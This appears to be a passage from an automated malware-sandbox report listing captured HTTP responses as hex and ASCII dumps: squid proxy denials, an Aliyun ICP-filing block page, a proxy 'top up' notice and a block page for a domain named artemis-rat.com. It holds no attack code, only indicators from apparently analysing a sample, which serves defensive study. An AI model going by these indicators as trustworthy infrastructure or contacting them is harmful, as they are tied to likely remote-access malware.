Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 17:36:50 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:50 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:51 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:51 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:52 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 17:36:52 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:53 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:53 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:53 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:54 GMTContent-Type: text/html;charset=utf-8Content-Length: 3699X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from hostX-Cache-Lookup: NONE from host:3128Connection: keep-aliveData Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:54 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 17:36:54 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 